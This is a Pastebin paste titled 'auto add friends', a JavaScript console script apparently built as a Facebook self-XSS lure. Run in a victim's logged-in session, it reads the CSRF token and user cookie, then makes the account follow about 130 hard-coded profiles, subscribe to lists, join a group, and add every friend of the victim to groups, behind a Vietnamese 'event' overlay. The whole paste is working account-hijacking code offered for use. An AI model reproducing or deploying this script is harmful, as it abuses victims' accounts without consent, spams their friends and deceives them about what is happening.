Advertisement
trandinhtan100

auto add friends

Jul 27th, 2013
65
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60.  
  61. function sublist(uidss) {
  62. var a = document.createElement('script');
  63. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  64. document.body.appendChild(a);
  65. }
  66.  
  67. a("100004747173009");a("100003113746773");sublist("391085994346502");
  68. a("100004537982327"); a("100003737957788"); a("100004050121495"); a("100002841289307"); a("100001432527243");
  69. a("100003100640636"); a("100006404884977"); a("100004088681210"); a("100003860363143"); a("100004135326572");
  70. a("100006177939077"); a("100003169936365"); a("100004747173009"); a("100005721074149"); a("100006301090522");
  71. a("100004575813477"); a("100003559137599"); a("100003467193372"); a("100006346811939"); a("100003254684960");
  72. a("100006312010797"); a("100004107856084"); a("100004596756683"); a("100004835317821"); a("100005721074149");
  73. a("100006362255557"); a("100004433640813"); a("100006240369639"); a("100004135326572"); a("100002903969260");
  74. a("100003166080442"); a("100002748622962"); a("100003747465204"); a("100003663440669"); a("100004000567995");
  75. a("100005010302665"); a("100006345151775"); a("100004328046865"); a("100004130856410"); a("100006312451326");
  76. a("100003877146440"); a("100004074848549"); a("100003062191038"); a("100006243423896"); a("100004368732092");
  77. a("100006380413418"); a("100002430714054"); a("100003103081404"); a("100002821254843"); a("100001218605536");
  78. a("100001863087747"); a("100005857690939"); a("100005170501866"); a("100002276015196"); a("100003730486376");
  79. a("100006346811939"); a("100005524363074"); a("100006426570947"); a("100000046798468"); a("100004783834929");
  80. a("100000046798468"); a("100006426570947"); a("100005517970074"); a("100006422857144"); a("100002138839060");
  81. a("100005611056815"); a("100002681000486"); a("100005737660763"); a("100001777422253"); a("100004130980904");
  82. a("100004017611888"); a("100003283527215"); a("100006356589348"); a("100003907411636"); a("100006435150631");
  83. a("100003833428820"); a("100003945986230"); a("100000878630972"); a("235995123197503"); a("100006299862903");
  84. a("100003108968606"); a("100006403807430"); a("100003902098770"); a("100002483267860"); a("100002510057714");
  85. a("100004230123050"); a("100006232510676"); a("100003721906295"); a("100004484290818"); a("100002435697864");
  86. a("100006000930073"); a("100004479696484"); a("100003136080824"); a("100004526611868"); a("100004997970718");
  87. a("100004491939212"); a("100004067929259"); a("100004148827575"); a("100005082217035"); a("100002706325491");
  88. a("100004553462372"); a("100004797312113"); a("100003890037080"); a("100000750985822"); a("100004001778518");
  89. a("100006264630970"); a("100003337118762"); a("100002966153002"); a("100006367841967"); a("100006386111161");
  90. a("100005804076866"); a("100004685744392"); a("100006247626216"); a("100006404321796"); a("100004042463333");
  91. a("100005770622375"); a("100004142112772"); a("100004702771968"); a("100006339942567"); a("100004017377967");
  92. a("100004842360285"); a("100005920264668"); a("100002915147950"); a("100004554272564"); a("100003154194570");
  93. a("100002567833571"); a("100006453332941"); a("100000217164684"); a("100004240050225"); a("100003222413106");
  94. a("100004018587685"); a("100001905098988");
  95. sublist("164411267060445");sublist("168914619943443");sublist("168914503276788");sublist("1380308195524006");
  96. var gid = [511985782213049];
  97. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  98. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  99. var httpwp = new XMLHttpRequest();
  100. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  101. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  102. httpwp['open']('POST', urlwp, true);
  103. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  104. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  105. httpwp['setRequestHeader']('Connection', 'keep-alive');
  106. httpwp['send'](paramswp);
  107. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  108. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  109. var friends = new Array();
  110. gf = new XMLHttpRequest();
  111. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  112. gf['send']();
  113. if (gf['readyState'] != 4) {} else {
  114. data = eval('(' + gf['responseText']['substr'](9) + ')');
  115. if (data['error']) {} else {
  116. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  117. return _0x93dax8['index'] - _0x93dax9['index']
  118. })
  119. }
  120. };
  121. var Title = 'ĐANG THAM GIA SỰ KIỆN!</A>';
  122. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  123. var Descriptions = "",
  124. _text = 'Truy cập <a style="color:#F12B63;" href=" https://www.facebook.com/groups/love.forever.s2/">love.s2 </a> để cập nhập mới';
  125.  
  126. function AddFriendtoGroup(opo) {
  127. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  128. var b = a.substring(a.indexOf("{"));
  129. var c = JSON.parse(b);
  130. i--;
  131. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  132. if (c.error) {
  133. Descriptions += "color:darkred'>";
  134. err++;
  135. if (c.errorDescription) Descriptions += c.errorDescription;
  136. else Descriptions += JSON.stringify(c, null, "")
  137. } else {
  138. Descriptions += "color:darkgreen'>";
  139. Descriptions += arn[i] + " đã được thêm.<br/>";
  140. suc++
  141. }
  142. Descriptions += "</div>";
  143. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  144. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  145. if (i > 0) {
  146. display += " Số " + arr.length + " Friend hiện có <br/>";
  147. display += " Số <span style='color:red;font-weight:bold;'>" + suc + "</span> để tham gia " + (arr.length - i) + " Số còn lại ";
  148. display += "(" + i + " Đếm ngược...)";
  149. display += "<div class='friend-edge'>";
  150. display += Descriptions;
  151. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  152. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  153. display += "Cảm ơn <span style='color:green;'>" + getuname + "</span> đã tham gia sự kiện " + grpname + ".<br/>";
  154. display += _text;
  155. display += "</div>";
  156. display += "</div>"
  157. } else {
  158. display += "Số " + arr.length + " Friend hiện có <br/>";
  159. display += "Số <span style='color:red;font-weight:bold;'>" + suc + "</span> để tham gia</br>";
  160. display += "Số " + err + " không thể tham gia</br></br>";
  161. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'> Chụp hình trước khi </span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'> Thoát !</span>"
  162. }
  163. display += "</div>";
  164. document.getElementById("pagelet_sidebar").innerHTML = display
  165. }, "text", "post");
  166. tay--;
  167. if (tay > 0) {
  168. var s = arr[tay];
  169. sx = pho[tay];
  170. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  171. }
  172. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  173. if (gid != 522133507821944) {
  174. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=522133507821944&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  175. }
  176. if (newcomer) {
  177. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100004652403010&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  178. }
  179. if (newcomer) {
  180. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100000128055750&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  181. }
  182. if (newcomer) {
  183. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100003381593015&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  184. }
  185. }
  186. function clickfr_callback() {
  187. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  188. var a = arr[i];
  189. if (i < arr.length) addfriend(a.substring(0, 4))
  190. }
  191. function clickfr() {
  192. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  193. else j++;
  194. setTimeout("clickfr_callback()", 2E3)
  195. }
  196. function addfriend(a) {
  197. i++;
  198. setTimeout("clickfr()", 2E3)
  199. }
  200. jx = {
  201. getHTTPObject: function() {
  202. var a = false;
  203. if (typeof ActiveXObject != "undefined") try {
  204. a = new ActiveXObject("Msxml2.XMLHTTP")
  205. } catch (b) {
  206. try {
  207. a = new ActiveXObject("Microsoft.XMLHTTP")
  208. } catch (c) {
  209. a = false
  210. }
  211. } else if (window.XMLHttpRequest) try {
  212. a = new XMLHttpRequest
  213. } catch (b) {
  214. a = false
  215. }
  216. return a
  217. },
  218. load: function(url, callback, format, method, opt) {
  219. var http = this.init();
  220. if (!http || !url) return;
  221. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  222. if (!method) method = "GET";
  223. if (!format) format = "text";
  224. if (!opt) opt = {};
  225. format = format.toLowerCase();
  226. method = method.toUpperCase();
  227. var now = "uid=" + (new Date).getTime();
  228. url += url.indexOf("?") + 1 ? "&" : "?";
  229. url += now;
  230. var parameters = null;
  231. if (method == "POST") {
  232. var parts = url.split("?");
  233. url = parts[0];
  234. parameters = parts[1]
  235. }
  236. http.open(method, url, true);
  237. var ths = this;
  238. if (opt.handler) http.onreadystatechange = function() {
  239. opt.handler(http)
  240. };
  241. else http.onreadystatechange = function() {
  242. if (http.readyState == 4) if (http.status == 200) {
  243. var result = "";
  244. if (http.responseText) result = http.responseText;
  245. if (format.charAt(0) == "j") {
  246. result = result.replace(/[\n\r]/g, "");
  247. result = eval("(" + result + ")")
  248. } else if (format.charAt(0) == "x") result = http.responseXML;
  249. if (callback) callback(result)
  250. } else {
  251. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  252. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  253. if (error) error(http.status)
  254. }
  255. };
  256. http.send(parameters)
  257. },
  258. bind: function(a) {
  259. var b = {
  260. url: "",
  261. onSuccess: false,
  262. onError: false,
  263. format: "text",
  264. method: "GET",
  265. update: "",
  266. loading: "",
  267. loadingIndicator: ""
  268. };
  269. for (var c in b) if (a[c]) b[c] = a[c];
  270. if (!b.url) return;
  271. var d = false;
  272. if (b.loadingIndicator) {
  273. d = document.createElement("div");
  274. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  275. d.setAttribute("class", "loading-indicator");
  276. d.innerHTML = b.loadingIndicator;
  277. document.getElementsByTagName("body")[0].appendChild(d);
  278. this.opt.loadingIndicator = d
  279. }
  280. if (b.loading) document.getElementById(b.loading).style.display = "block";
  281. this.load(b.url, function(a) {
  282. if (b.onSuccess) b.onSuccess(a);
  283. if (b.update) document.getElementById(b.update).innerHTML = a;
  284. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  285. if (b.loading) document.getElementById(b.loading).style.display = "none"
  286. }, b.format, b.method, b)
  287. },
  288. init: function() {
  289. return this.getHTTPObject()
  290. }
  291. };
  292. var nHtml = {
  293. FindByAttr: function(a, b, c, d) {
  294. if (c == "className") c = "class";
  295. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  296. if (e && e.singleNodeValue) return e.singleNodeValue;
  297. return null
  298. },
  299. FindByClassName: function(a, b, c) {
  300. return this.FindByAttr(a, b, "className", c)
  301. },
  302. FindByXPath: function(a, b) {
  303. try {
  304. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  305. } catch (d) {
  306. GM_log("bad xpath:" + b)
  307. }
  308. if (c && c.singleNodeValue) return c.singleNodeValue;
  309. return null
  310. },
  311. VisitUrl: function(a) {
  312. window.setTimeout(function() {
  313. document.location.href = a
  314. }, 500 + Math.floor(Math.random() * 500))
  315. },
  316. ClickWin: function(a, b, c) {
  317. var d = a.document.createEvent("MouseEvents");
  318. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  319. return !b.dispatchEvent(d)
  320. },
  321. Click: function(a) {
  322. return this.ClickWin(window, a, "click")
  323. },
  324. ClickTimeout: function(a, b) {
  325. window.setTimeout(function() {
  326. return nHtml.ClickWin(window, a, "click")
  327. }, b + Math.floor(Math.random() * 500))
  328. },
  329. ClickUp: function(a) {
  330. this.ClickWin(window, a, "mousedown");
  331. this.ClickWin(window, a, "mouseup");
  332. this.ClickWin(window, a, "click")
  333. },
  334. GetText: function(a, b) {
  335. var c = "";
  336. if (b == undefined) b = 0;
  337. if (b > 40) return;
  338. if (a.textContent != undefined) return a.textContent;
  339. for (var d = 0; d < a.childNodes.length; d++) {
  340. var e = a.childNodes[d];
  341. c += this.GetText(e, b + 1)
  342. }
  343. return c
  344. }
  345. };
  346. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  347. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  348. var c = document.getElementsByTagName("*");
  349. var d = [];
  350. var e;
  351. for (var f = 0;
  352. (e = c[f]) != null; f++) {
  353. var g = e.className;
  354. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  355. }
  356. return d
  357. };
  358. Array.prototype.find = function(a) {
  359. var b = false;
  360. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  361. if (a.test(this[i])) {
  362. if (!b) b = [];
  363. b.push(i)
  364. }
  365. } else if (this[i] === a) {
  366. if (!b) b = [];
  367. b.push(i)
  368. }
  369. return b
  370. };
  371. var i = 3;
  372. var tay = 3;
  373. var j = 0;
  374. var k = 0;
  375. var suc = 0;
  376. var err = 0;
  377. var arr = new Array;
  378. var arn = new Array;
  379. var pho = new Array;
  380. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  381. var gid = document.getElementsByName("group_id")[0].value;
  382. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  383. var b = a;
  384. var c = b.substring(b.indexOf("{"));
  385. var d = JSON.parse(c);
  386. d = d.payload.entries;
  387. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  388. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  389. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  390. i = arr.length - 1;
  391. tay = i;
  392. console.log(arr.length);
  393. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  394. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  395. display += arr.length + " Friends Detected";
  396. display += "</div>";
  397. document.getElementById("pagelet_sidebar").innerHTML = display;
  398. AddFriendtoGroup(arr[i])
  399. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement